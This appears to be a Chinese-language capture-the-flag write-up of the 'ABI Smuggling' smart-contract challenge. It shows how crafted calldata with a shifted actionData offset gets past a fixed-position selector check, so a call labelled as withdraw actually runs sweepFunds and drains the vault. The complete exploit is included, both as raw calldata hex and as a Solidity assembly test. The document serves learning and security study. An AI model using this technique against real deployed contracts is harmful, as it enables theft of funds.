一、ABI Smuggling

背景:
我们拥有一个授权金库,其中包含 1,000,000e18 代币。该金库允许玩家每 15 天最多提取 1e18 代币。金库还允许特定用户清扫资金。
但是,此权限由AuthorizedExecutor.sol 中的以下函数强制执行,该函数由授权保险库继承;也就是说,withdraw或sweepFunds只能由合约本身调用。因此,我们可以做的是调用该execute函数来调用保险库。
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}根据要求,上述函数中的权限仅允许以下任一操作:
(selector, msg.sender, target) = (withdraw, player, vault)(selector, msg.sender, target) = (sweepFunds, sweeper, vault)
由于我们是 player,因此我们应该满足条件 1,但实际上要使条件 2 起作用,因为使用选项 1,我们每 15 天只能提取 1e18 个代币,然而总共有 1,000,000e18 个代币。
请注意,该execute函数通过读取 calldata 从第 100 个字节开始的 4 个字节来函数选择器execute。这通常是正确的,因为的 calldata结构如下:
execute.selector (4 bytes) + target (32 bytes) + offset (32 bytes, 0x40) + length (32 bytes) + selector如果我们直接调用execute,偏移量(字节数据开始的位置;字节数据由bytes.length后跟组成bytes.data)为0x40,并且上面描述的结构成立。
然而,这并非必需,因为我们可以execute使用汇编语言调用,并强制将偏移量设置为,例如,0x80并将从位置 100(该位置本应是选择器,但现在由于新的偏移量而未使用)开始的调用数据设置为withdraw.selector,而实际被调用的函数是sweepFunds。更详细地说,我们构造的调用数据是:
// execute selector
0x1cff79cd
// vault.address
0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264
// offset ->偏移量指向 actionData起始位置。0x80 是 128 字節 (第二個 32 字節)
0000000000000000000000000000000000000000000000000000000000000080
// 這個部分沒有實際用途,通常用來填充固定長度的位置 (第三個 32 字節)
0000000000000000000000000000000000000000000000000000000000000000
// withdraw() 繞過檢查 (第四個 32 字節)
**d9caed12**00000000000000000000000000000000000000000000000000000000
// 這表示 actionData 的總長度是 68 字節(0x44 為十六進制的 68) actionData ( 4 + 32 + 32)
0000000000000000000000000000000000000000000000000000000000000044
// sweepFunds calldata
85fb709d00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9bfunction test_abiSmuggling() public checkSolvedByPlayer {
address vaultAddr = address(vault);
address tokenAddr = address(token);
address recoveryAddr = recovery;
assembly {
let p := mload(0x40) // 指向可用内存首地址
mstore(p, shl(224, 0x1cff79cd)) // 由于mstore是按照 32字节为单位写入需要左移 224 位将 excute 函数的哈希前 // 四字节存储在32 字节中的高 4 字节中
mstore(add(p, 0x04), vaultAddr) // 紧接着将vaultAddr存储到excute后面32 字节的低 20 字节
mstore(add(p, 0x24), 0x80) // 0x24位置存储 actionData的calldata起始位置的offset 0x80(128)字节 // calldata起始位置即0xa4
mstore(add(p, 0x44), 0x00) // 通常用来填充固定长度的位置 此处无用
mstore(add(p, 0x64), shl(224, 0xd9caed12)) // 为了绕过excute检查填充 withdraw
mstore(add(p, 0x84), 0x44) // 表示 actiondata 的长度是 68 字节
mstore(add(p, 0xa4), shl(224, 0x85fb709d)) // 此处是真正我们植入的攻击函数 sweepfunds
mstore(add(p, 0xa8), recoveryAddr) // seepfunds 的参数 1 receiver
mstore(add(p, 0xc8), tokenAddr) // seepfunds 的参数 2 token
let success:= call(gas(), vaultAddr, 0, p, 232, 0, 0)
if iszero(success) {
mstore(0x00, shl(224, 0x6c9d47e8)) // CallError() 把这32字节存到内存地址 0x00,作为revert的返回值
revert(0, 4) // 从内存地址 0x00 开始读只返回前 4 字节
}
}
}
评论 (0)